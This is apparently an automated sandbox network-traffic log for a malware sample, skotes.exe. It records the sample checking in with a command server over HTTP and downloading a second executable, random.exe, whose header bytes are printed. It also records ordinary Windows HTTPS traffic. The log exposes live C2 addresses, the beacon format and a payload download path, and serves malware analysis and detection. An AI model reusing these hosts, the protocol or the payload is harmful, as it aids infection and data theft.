Nov 20, 2024 18:58:04.597341061 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:58:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	50091	185.215.113.43	80	7392	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 18:59:04.184747934 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 18:59:05.621278048 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 17:59:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	50099	185.215.113.43	80	7392	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 18:59:07.274421930 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 20, 2024 18:59:08.760391951 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 17:59:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 35 0d 0a 20 3c 63 3e 31 30 30 37 37 32 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 37 37 32 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 37 37 32 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 37 37 32 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 [TRUNCATED] Data Ascii: 1c5 <c>1007721001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1007722001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1007723001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1007724001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1007725001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	50103	31.41.244.11	80	7392	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 18:59:08.889480114 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 20, 2024 18:59:10.273086071 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 17:59:10 GMT Content-Type: application/octet-stream Content-Length: 4388352 Last-Modified: Wed, 20 Nov 2024 15:55:28 GMT Connection: keep-alive ETag: "673e0670-42f600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 90 c4 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 c0 c4 00 00 04 00 00 4a 7d 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 70 c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 70 c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2J@J}C@ _qstp$p px'@.rsrc p'@.idata q'@ 8q'@ftuqfubwP0B'@rwnetmjtB@.taggant0"B@
Nov 20, 2024 18:59:10.273113966 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 18:59:10.273127079 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 18:59:10.273140907 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 18:59:10.273153067 CET	896	IN	Data Raw: 6b 96 e4 04 a2 27 2d 05 47 b1 6c b3 8a c2 dd ab 6f e8 dd d0 8e 29 32 82 bc 4c ad 85 13 9f f4 67 83 6e 97 60 51 5e 02 65 4e ea 9a 5c 74 96 e2 09 85 9f 3b 9c a3 29 4e 06 29 ca f1 cc 23 ca d9 2b b0 90 24 8f c8 40 3c 41 01 86 dc c9 2a 28 7e 51 1f c9 Data Ascii: k'-Glo)2Lgn`Q^eN\t;)N)#+$@<A(~QQx!0o 2,h3\|K:Q~SKMl.DWPxGGd365I+XT?3A5V6pf$I!n:3Q2d=:F5! Vn3[#sl
Nov 20, 2024 18:59:10.273185015 CET	1236	IN	Data Raw: 63 87 c5 8f ea 58 07 0c af 9f f1 8d f3 57 ee 24 56 d6 5c 89 ef 43 5c e8 de 5a b1 40 df 47 d2 0f 21 da bf a7 2a 45 30 d6 21 4a 1e 49 cc 11 c0 6b 45 c1 be 44 0a a6 76 19 73 f9 ac 2c 9f ca 12 6d c8 e0 df 35 cd 17 5a 31 4e 41 a2 f1 82 77 3f 18 47 36 Data Ascii: cXW$V\C\Z@G!*E0!JIkEDvs,m5Z1NAw?G6)\g+"86gKWd'8,h1{S/!h=jCu2A60:uXEfqHv^o\|lfn,@fKfy!4HX8U\|W33eiD1&(e~7fJ3P{8[A
Nov 20, 2024 18:59:10.273272991 CET	1236	IN	Data Raw: 41 ca 68 82 1d e5 3c 82 53 36 eb d8 1e bb f9 e4 63 66 f7 89 ea 8a 73 75 61 93 b5 3b 6b 31 fe e4 1e 4f c4 47 69 a1 6f b4 3b 0e 07 0c 33 3a fd 73 7e 38 be b1 9b c9 95 7f 48 3a b6 68 16 69 9e df 59 1e 79 e2 28 71 ba c8 1e 0a 9e a3 76 4f 6d a5 7d 3c Data Ascii: Ah<S6cfsua;k1OGio;3:s~8H:hiYy(qvOm}<lw;a;=Z<8Qm\D.?gb;I4l}nF>Lnk&)5HWwUf5Wj3=vY;w'p^K}EWQUj\|8K(sDpsB =_/B
Nov 20, 2024 18:59:10.273286104 CET	448	IN	Data Raw: 4c 06 1e 1a 26 53 3e 6c 73 19 1a 55 20 15 b8 87 6f 4c c4 2c 7f 40 c4 7a 67 85 ba 81 cd 4a 26 6a 70 f1 95 b9 88 73 4f c4 54 98 81 45 12 7f c7 3b aa 6c c6 a3 ab 89 81 38 33 a6 de 1d 8f fa b9 cb 93 66 c9 42 a2 ac 1e aa a0 f2 9d ff e5 00 8b 29 0c 70 Data Ascii: L&S>lsU oL,@zgJ&jpsOTE;l83fB)pJNG&T"/(S^SN.QA0bZ>9W/9wy>"*9PG7nBZ&5HKB)mqD5!a6Lcq@`jG7%iX?^`iCv
Nov 20, 2024 18:59:10.273297071 CET	1236	IN	Data Raw: 70 c1 9d 32 80 e8 98 71 cd 5e 6d d0 f6 20 3e 95 0d 86 94 1a 1f 74 69 4c 3b 4a 06 f5 42 95 24 b8 e0 67 45 84 6c 43 2e 79 67 6a 2d 9f b8 28 43 3b ae cd 82 46 a4 e2 05 75 7d 1e ee c6 38 5e f7 58 47 45 ab 3f 3c 97 a2 fb 54 39 25 24 1f 53 d4 a9 c2 f6 Data Ascii: p2q^m >tiL;JB$gElC.ygj-(C;Fu}8^XGE?<T9%$StYX=&V\P9&}$L;#sg+H[Y*h?R#0\|)gsX\\|")uF>)4]>BF.nJGaF`=J/\Jx/;XQ~H<C!j;"N7
Nov 20, 2024 18:59:10.273308992 CET	1236	IN	Data Raw: b9 5e 40 36 cd e4 91 64 44 38 5f c1 50 a2 9c ee 10 7b aa 9c 3c 41 c3 8c ef 16 c6 8a 81 54 42 45 69 e0 8c 3f a8 0b d6 d8 00 ce 71 4b a0 b1 2a 4d eb 42 2f 5b 3d 3f f2 5f 47 a9 c1 31 2b 26 c6 8b 33 31 73 2d 20 25 8f 33 74 a0 ef 32 67 3e 8f 35 3b a9 Data Ascii: ^@6dD8_P{<ATBEi?qK*MB/[=?_G1+&31s- %3t2g>5;vc>k7U3NRdIPq(EtJ5NLea9i'M~:2[WV9]yV[agF6JU`!Z4Cb}8 ~2QTlGuRva&(UM
Nov 20, 2024 18:59:10.393889904 CET	1236	IN	Data Raw: 3a b1 b3 ef 61 ab 94 eb 20 a2 c9 4d 78 4a cb 83 dd ee e7 41 a0 26 9e 52 75 5f 6d b0 57 3f 7f 4b 9c 22 99 4d 20 79 52 80 23 eb ff e3 32 9c 6f fc a7 09 f2 93 17 fe 6e 0d 24 eb 14 2c ab d8 9d 83 aa f1 b2 4e ae 4f 2c f3 7e 46 3b b3 b8 ad 47 5d 53 43 Data Ascii: :a MxJA&Ru_mW?K"M yR#2on$,NO,~F;G]SC[l9I-p9\|)+<;N&M18^1Q.{{K%YM+`#W$'S0u5>7U%:aBIv)y0KG9;}NU,lC

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49708	40.126.53.12	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:07 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4831 Host: login.live.com
2024-11-20 17:57:07 UTC	4831	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-20 17:57:07 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Nov 2024 17:56:07 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_BAY x-ms-request-id: cbc94684-52e2-4b9d-aeaf-e1136c91c1cd PPServer: PPV: 30 H: PH1PEPF00012002 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Nov 2024 17:57:07 GMT Connection: close Content-Length: 11177
2024-11-20 17:57:07 UTC	11177	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49709	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:09 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 6d 53 31 65 72 4e 6d 33 67 30 2b 68 47 6d 63 58 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 37 61 31 63 37 65 34 37 62 33 34 31 62 39 63 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: mS1erNm3g0+hGmcX.1Context: 57a1c7e47b341b9c
2024-11-20 17:57:09 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-20 17:57:09 UTC	1076	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 35 33 0d 0a 4d 53 2d 43 56 3a 20 6d 53 31 65 72 4e 6d 33 67 30 2b 68 47 6d 63 58 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 37 61 31 63 37 65 34 37 62 33 34 31 62 39 63 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 58 7a 55 45 6b 33 4e 66 59 68 39 44 37 4a 45 5a 56 62 6c 51 70 7a 62 55 68 49 35 31 6e 4c 71 31 6c 79 78 73 49 65 70 6c 50 58 6f 72 4f 79 52 49 56 48 6e 75 53 2b 51 69 6e 32 63 6a 51 38 47 78 6c 52 66 65 2f 66 72 53 38 6e 4e 35 33 45 6b 50 56 49 67 5a 54 76 4c 63 7a 43 74 4b 2f 74 4b 78 6b 4e 6c 45 66 39 33 48 61 4b 43 39 4b Data Ascii: ATH 2 CON\DEVICE 1053MS-CV: mS1erNm3g0+hGmcX.2Context: 57a1c7e47b341b9c<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAXzUEk3NfYh9D7JEZVblQpzbUhI51nLq1lyxsIeplPXorOyRIVHnuS+Qin2cjQ8GxlRfe/frS8nN53EkPVIgZTvLczCtK/tKxkNlEf93HaKC9K
2024-11-20 17:57:09 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 6d 53 31 65 72 4e 6d 33 67 30 2b 68 47 6d 63 58 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 37 61 31 63 37 65 34 37 62 33 34 31 62 39 63 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: mS1erNm3g0+hGmcX.3Context: 57a1c7e47b341b9c<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-20 17:57:09 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-20 17:57:09 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 69 59 45 58 46 4b 56 76 34 30 6d 75 4c 70 31 67 63 44 34 46 46 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: iYEXFKVv40muLp1gcD4FFQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49712	20.223.35.26	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:09 UTC	1572	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241120T175655Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=706d1c679c1d4931a7968d63350e3c2e&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=593978&metered=false&nettype=ethernet&npid=sc-338389&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=593978&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waas [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 Cache-Control: no-cache MS-CV: Er2Zl1Zc7ke+76s0.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-20 17:57:09 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2930 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116219-T1-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: eDPyfv7xgy9GGiv/nhAiz+O9mCZpqCD29evCWqnUA/5ybbmmFzsnXWsgz+X/3DP3LeHV6dxSk8DjQ7RuMq2MLJM3H8t+chLZr2hMnrDhISg04RM2AKTOjwYu/4rWaQ8ILdm66fjpQo+gsUgizMHEfzuZIsNcb2gdjk+tfpZkpD9LxhcBoyu8odiw1/fOuSpAkeVDlWazXjnFK0FHz/gvsyXuMqtMdYfRwr197ggB/XBu9+i7LnQQdHczV/qN79LUpVsqjK9UCJMntf8bS35pc2LvzH6eemO0CzTDQx6uNP077o8x/zxpcmGBVyMpFCzpHM/U/3nuLIvpYss0WF4CDg== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Nov 2024 17:57:08 GMT Connection: close
2024-11-20 17:57:09 UTC	2930	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49711	20.223.35.26	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:09 UTC	1579	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241120T175655Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=368c9beb21004be98ea1419f7c954330&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&dispho